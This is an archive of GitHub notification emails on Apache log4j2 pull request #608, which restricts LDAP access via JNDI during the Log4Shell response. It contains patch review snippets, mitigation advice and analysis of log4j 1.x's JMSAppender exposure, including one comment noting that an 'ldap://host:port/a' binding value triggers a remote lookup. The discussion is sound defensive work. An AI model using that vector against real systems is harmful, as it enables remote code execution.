You are viewing a plain text version of this content. The canonical link for it is here.
Posted to notifications@logging.apache.org by GitBox <gi...@apache.org> on 2021/11/30 05:31:14 UTC
[GitHub] [logging-log4j2] rgoers opened a new pull request #608: Restrict LDAP access via JNDI
rgoers opened a new pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608
Restricts access to LDAP via JNDI.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] Kirill89 commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
Kirill89 commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992763568
@TopStreamsNet thank you for the detailed answer about 1.x versions. At Snyk we checked it as well and agree with your conclusions. 1.x is not vulnerable unless malicious user input flows to configuration of the `JMSAppender`.
We [published](https://security.snyk.io/vuln/SNYK-JAVA-LOG4J-2316893) it as a vulnerability in out DB with detailed explanation.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] brunoborges commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
brunoborges commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994180618
While no Java version can effectively mitigate the issue, I want to point out that developers using `jlink` on Java 9+ for custom runtimes that do **not** include `java.naming` module, are in fact not vulnerable to any JNDI related attack.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] EmYiQing edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
EmYiQing edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994307693
I reported this denial of Service Vulnerability (cve-2021-45046) to the logging PMC last week. I proposed the core code and trigger method of denial of service vulnerability. In terms of time, I should have proposed it earlier, but I didn't see my name in the CVE credit. I hope my name can also be added to the CVE credit. 4ra1n
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] TiloGit commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
TiloGit commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991215492
> > Can't find much info about it.
>
> grep-ing through the source code for jdk-11.0.1 we get `src/java.naming/com/sun/jndi/ldap/VersionHelper.java: PrivilegedAction<String> act = () -> System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");` and `src/jdk.naming.rmi/com/sun/jndi/rmi/registry/RegistryContext.java: PrivilegedAction<String> act = () -> System.getProperty( "com.sun.jndi.rmi.object.trustURLCodebase", "false"); ` So I'm guessing jdk-11.0.1 and later set these properties to false by default. _Edit: formatting_
any easy way to check the default value of a JRE?
like this:
```java
System.out.println("CVE check for com.sun.jndi.ldap.object.trustURLCodebase: " + prop.getProperty("com.sun.jndi.ldap.object.trustURLCodebase"));
```
see my Q here: https://stackoverflow.com/q/70308808/1747983
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992730958
Regarding JMSAppender vulnerability, it has to be placed in the log4j 1.x and given a corrupt parameter in log4j.xml configuration file. If the log4j.xml configuration file is write protected for all users including its owner, it would be quite difficult to override it with corrupt instructions. For more details, please read [my log4jShell comments](http://slf4j.org/log4shell.html)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] tony-- commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
tony-- commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993166232
> > Thank you Gary, Is there a way to make sure JMS Appender is disabled? Just to make sure that even if one of the installed Eclipse plug-ins is configured in a risky way, the vulnerability is addressed.
>
> No.
@garydgregory
Please confirm that removing org/apache/log4j/net/JMSAppender.class from log4j-1.2.x.jar is an effective way to mitigate the possibility of the vulnerability being enabled? I imagine it sounds like a silly question, but I haven't seen a POC for this, so I don't know how to reproduce and then check if removing the class positively disables the POC.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] jvz commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
jvz commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992902058
PR:N is for the original CVE. PR:H would be for modifying the config file, though we didn't publish separate CVEs for the different ways to exploit the same underlying issue.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-995496519
@quaff Good point yes.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992713094
You are fine unless you are using a specially crafted configuration for a
JMS Appender.
Gary
On Mon, Dec 13, 2021 at 12:22 PM drorbrillsnps ***@***.***>
wrote:
> All Eclipse releases from the past years are using log4j 1.2.15
> What is the recommendation for Eclipse users?
> Is there a workaround to ensure Eclipse users are not vulnerable?
>
> —
> You are receiving this because you were mentioned.
> Reply to this email directly, view it on GitHub
> <https://github.com/apache/logging-log4j2/pull/608#issuecomment-992699787>,
> or unsubscribe
> <https://github.com/notifications/unsubscribe-auth/AAJB6NY5KWUN7FWEQL4SJC3UQYTTZANCNFSM5JA3ZEGA>
> .
> Triage notifications on the go with GitHub Mobile for iOS
> <https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675>
> or Android
> <https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>.
>
>
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r768434541
##########
File path: src/site/xdoc/manual/configuration.xml.vm
##########
@@ -2146,6 +2146,32 @@ public class AwesomeTest {
before falling back to the default class loader.
</td>
</tr>
+ <tr>
+ <td><a name="allowedLdapClasses"/>log4j2.allowedLdapClasses</td>
+ <td>LOG4J_ALLOWED_LDAP_CLASSES</td>
+ <td> </td>
+ <td>
+ System property that specifies fully qualified class names that may be accessed by LDAP. The classes
+ must implement Serializable. By default only Java primative classes are allowed.
Review comment:
> primitive vs primative
Noted, thank you @axdimitar! Will fix this soon.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] EmYiQing edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
EmYiQing edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994307693
I reported this denial of Service Vulnerability (cve-2021-45046) to the logging PMC last week. Although I didn't propose threadcontext, I explained the trigger method of the denial of service vulnerability. In terms of time, I should have proposed it earlier, but I didn't see my name in the CVE credit. I hope my name can also be added to the CVE credit
4ra1n
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991050192
> @garydgregory is there a safe Java 11 version?
Check the release notes for 11.0.1.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] chming1016 commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
chming1016 commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992342851
Just found out that RedHat issue a new CVE for the flaw in 1.x
https://access.redhat.com/security/cve/CVE-2021-4104
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] albertinix commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
albertinix commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991225381
Does anyone know if removing the `JndiLookup` class is enough?
On the [Apache Log4j2 page](https://logging.apache.org/log4j/2.x/) it's stated to:
>Remove the JndiLookup **and JndiManager** classes from the log4j-core jar.
(emphasis mine)
However, the only place where I've seen that being stated is on that page.
So - is it required to remove the `JndiManager` class as well?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] kmindi commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
kmindi commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992427010
Are lookups via ContextMap/ctx also fixed with this?
E.g. if something like this is used:
```
<File name="Application" fileName="application.log">
<PatternLayout>
<pattern>$${ctx:requestUri}</pattern>
</PatternLayout>
</File>
```
or with a JSONLayout
```
<JsonLayout complete="false" compact="true" properties="false" eventEol="true">
<KeyValuePair key="requestUri" value="$${ctx:AUDIT.requestUri:-}"/>
</JsonLayout>
```
I understand that context contains elements from other applications maybe, in this case passing the requestUri. It seems to be evaluated in the non-fixed versions, yet I'm unsure if this fix with 2.15.0 does also fix ctx based lookups?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] fyhao removed a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
fyhao removed a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991747594
> Also, if this matters to you so much, why not show it with a donation to the Apache Software Foundation https://www.apache.org/foundation/contributing.html or this project's main contributor https://github.com/sponsors/rgoers ?
Haha, why get this issue exploded in December, holiday mood sir
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992643509
The confusion is made worse as this is a RedHat "CVE" which is not registered with cve.org.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990758663
> @remkop , thanks for your reply. Just want to make it more clear, because many people reach this issue mainly for the "JNDI lookup" CVE, so, for log4j 1.x, although it contains JMS Appender. But if the "JMS Appender" is not used for log4j 1.x (the usage of JMS Appender is rare), then, it should be not affected by this vulnerable RCE, is this correct?
>
> > To summarize: Log4j 1.x is also impacted, and we recommend using Log4j 2.15.0 instead.
@Baoqi Okay, let me be very clear: Log4j 1.x became [End of Life](https://logging.apache.org/log4j/1.2/) 6 years ago! Anyone who wants to continue using it can do their own risk assessment. :-)
**Update (2021-12-11 09:11 JST): according to [this analysis](https://twitter.com/ceki/status/1469449618316533762) by @ceki (the author of log4j 1.x), Log4j 1.x is not impacted, since it does not have lookups, and the JMS Appender only loads Strings from the remote server, not serialized objects.**
**Update (2021-12-12 10:09 JST): according to [this analysis](https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301) by @TopStreamsNet, strictly speaking, applications using Log4j 1.x may be impacted if their configuration uses JNDI. However, the risk is much lower.**
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991380319
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] wcc526 commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
wcc526 commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-989762094
Is it a security vulneribity?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991730650
Thank you for the detailed references.
**If the attacker can modify the config file on some system S, then S can be assumed to be already penetrated to a large extent.**
If the attacker can modify log4j.properties (log4j 1.x), she does not need to download malicious code, she can just as easily place malicious class files in the classpath and have them executed.
So, in a very strict sense there is a vulnerability in log4j 1.x but nothing close to log parameter induced RCE.
> @ceki @remkop - it is not exactly true that it doesn't suffer from lookup issue though.
>
> If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] fyhao commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
fyhao commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991747594
> Also, if this matters to you so much, why not show it with a donation to the Apache Software Foundation https://www.apache.org/foundation/contributing.html or this project's main contributor https://github.com/sponsors/rgoers ?
Haha, why get this issue exploded in December, holiday mood sir
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] jvz commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
jvz commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991744851
How about a man in the middle? Are the LDAP URLs validated? TLS certificate?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] svdHero commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
svdHero commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992456878
@remkop Thank you very much. Just to clarify further: If my applications does not use any message queues / brokers, but simply uses log4j for writing to local log files, then it is very unlikely that `JMSAppender` is used, right? Is that correct? (I haven't heard of JMS before in my little J2EE legacy bubble.)
I also did a full text search on my project directory and could not find the substring `appender` anywhere.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] carterkozak commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
carterkozak commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r759126375
##########
File path: log4j-core/src/main/java/org/apache/logging/log4j/core/util/NetUtils.java
##########
@@ -79,6 +84,45 @@ public static String getLocalHostname() {
}
}
+ public static List<String> getLocalIps() {
+ List<String> localIps = new ArrayList<>();
+ localIps.add("localhost");
+ localIps.add("127.0.0.1");
Review comment:
Perhaps IPv6 as well `[::1]`? (brackets may or may not be necessary depending how we extract the host)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] carterkozak commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
carterkozak commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r759431336
##########
File path: log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
##########
@@ -17,31 +17,76 @@
package org.apache.logging.log4j.core.net;
+import java.io.Serializable;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
import java.util.Properties;
import java.util.concurrent.TimeUnit;
import javax.naming.Context;
-import javax.naming.InitialContext;
+import javax.naming.NameClassPair;
+import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
+import javax.naming.Referenceable;
+import javax.naming.directory.Attribute;
+import javax.naming.directory.Attributes;
+import javax.naming.directory.DirContext;
+import javax.naming.directory.InitialDirContext;
import org.apache.logging.log4j.core.appender.AbstractManager;
import org.apache.logging.log4j.core.appender.ManagerFactory;
import org.apache.logging.log4j.core.util.JndiCloser;
+import org.apache.logging.log4j.core.util.NetUtils;
+import org.apache.logging.log4j.util.PropertiesUtil;
/**
- * Manages a JNDI {@link javax.naming.Context}.
+ * Manages a JNDI {@link javax.naming.directory.DirContext}.
*
* @since 2.1
*/
public class JndiManager extends AbstractManager {
+ public static final String ALLOWED_HOSTS = "allowedLdapHosts";
+ public static final String ALLOWED_CLASSES = "allowedLdapClasses";
+
private static final JndiManagerFactory FACTORY = new JndiManagerFactory();
+ private static final String PREFIX = "log4j2.";
+ private static final List<String> permanentAllowedHosts = new ArrayList<>();
+ private static final List<String> permanentAllowedClasses = new ArrayList<>();
Review comment:
I could go either way on casing here since the included values aren't constant (e.g. NetUtils.getLocalIps() is dynamic).
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] philipwhiuk edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
philipwhiuk edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992490183
@asokolov-flex
Log4J 1.2.17 is only (potentially) vulnerable if you choose to use the JMS Appender. If you are, you will have to migrate to Log4J2 / Logback.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] drorbrillsnps edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
drorbrillsnps edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992718306
Thank you Gary,
Is there a way to make sure JMS Appender is disabled?
Just to make sure that even if one of the installed Eclipse plug-ins is configured in a risky way, the vulnerability is addressed.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992328571
The official page with recommendations for mitigation is here: https://logging.apache.org/log4j/2.x/security.html
(There is [work in progress](https://issues.apache.org/jira/browse/LOG4J2-3214) to improve this text.)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] asokolov-flex commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
asokolov-flex commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992475819
> > @remkop We are using apache solr 4 version in alfresco environment and we want to update the version of log4j2 .
> > Can you guide me how to do update the log4j2 version in Solr 4?
>
> Delete your log4j-*2.* jar files and then add the same jar files from 2.15.0.
The problem is there used the 1.2.17 version of log4j, and we need to override the implementation logic also :(
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] brunoborges commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
brunoborges commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994136147
Hey @vy has it been confirmed that the DoS Attack also happens on 2.0 ... 2.14.1, or if it is exclusive to 2.15.0 due to the fixes for log4shell?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] svdHero commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
svdHero commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992421975
@remkop may I repeat the question by @sourabhsparkala:
How do I find out if a legacy application with log4j version 1 is vulnerable, i.e. how do I know that the app uses JNDI? What do I have to look for in the configuration?
Thanks a lot for your help.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] asokolov-flex commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
asokolov-flex commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992522092
@philipwhiuk @garydgregory thanks a lot.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992900063
@tony-- Yes I believe that removing the JMSAppender class from the Log4j 1.x jar will mitigate this vulnerability.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] EmYiQing commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
EmYiQing commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-995429097
@remkop Thank you very much for your work
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] SpComb edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
SpComb edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993560912
> I'm not quite sure what that means or where we should continue the discussion about that, if it s a new attack vector etc.
This should really have been reported privately, or at the minimum via a separate GitHub issue, rather than via a public GitHub PR comment.
For anyone else that may come across similar follow-up issues, I suggest you follow the instructions on the log4j project website, and use the private@logging.apache.org email address: https://logging.apache.org/log4j/2.x/security.html
> If you have encountered an unlisted security vulnerability or other unexpected behaviour that has security impact, or if the descriptions here are incomplete, please report them privately to the [Log4j Security Team](private@logging.apache.org). Thank you.
If this does turn out to be a new attack vector, it probably needs a new CVE number. I've attempted to contact the relevant security contacts to take this further, I don't know what else to do.
EDIT: https://issues.apache.org/jira/browse/LOG4J2-3221 new Jira ticket for tracking this issue, which strictly speaking isn't relevant to the JNDI restrictions in this PR. The `log4j2.allowedJndiProtocols/Hosts/Classes` defaults implemented in https://github.com/apache/logging-log4j2/pull/608 / 2.15.0 are good, and the `log4j2.enableJndi=false` default in https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea / 2.15.1-rc1 / 2.16.0 is even better.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [GitHub] [logging-log4j2] sushain-pandit commented on pull request #608: Restrict LDAP access via JNDI
Posted by Gary Gregory <ga...@gmail.com>.
1.2 has been EOL for years so it has not received any attention, but the
JMS Appender is the only one that uses the JNDI API in 1.2, so it should be
OK otherwise.
Gary
On Mon, Dec 13, 2021 at 10:55 AM GitBox <gi...@apache.org> wrote:
>
> sushain-pandit commented on pull request #608:
> URL:
> https://github.com/apache/logging-log4j2/pull/608#issuecomment-992617101
>
>
> > > @asokolov-flex
> > > Log4J 1.2.17 is only (potentially) vulnerable if you choose to use
> the JMS Appender. If you are, you will have to migrate to Log4J2 / Logback.
> >
> > If you use the JMS Appender AND you configure it with JNDI. If you
> configure logback with JMS and JNDI, I am guessing you'll have the same
> issue.
>
> Apologies if this has been ans prior: re log4j 1.2.17, is it a
> certainty that the only appender with the issue is JMS?
>
>
> --
> This is an automated message from the Apache Git Service.
> To respond to the message, please log on to GitHub and use the
> URL above to go to the specific comment.
>
> To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
>
> For queries about this service, please contact Infrastructure at:
> users@infra.apache.org
>
>
>
[GitHub] [logging-log4j2] sushain-pandit commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
sushain-pandit commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992617101
> > @asokolov-flex
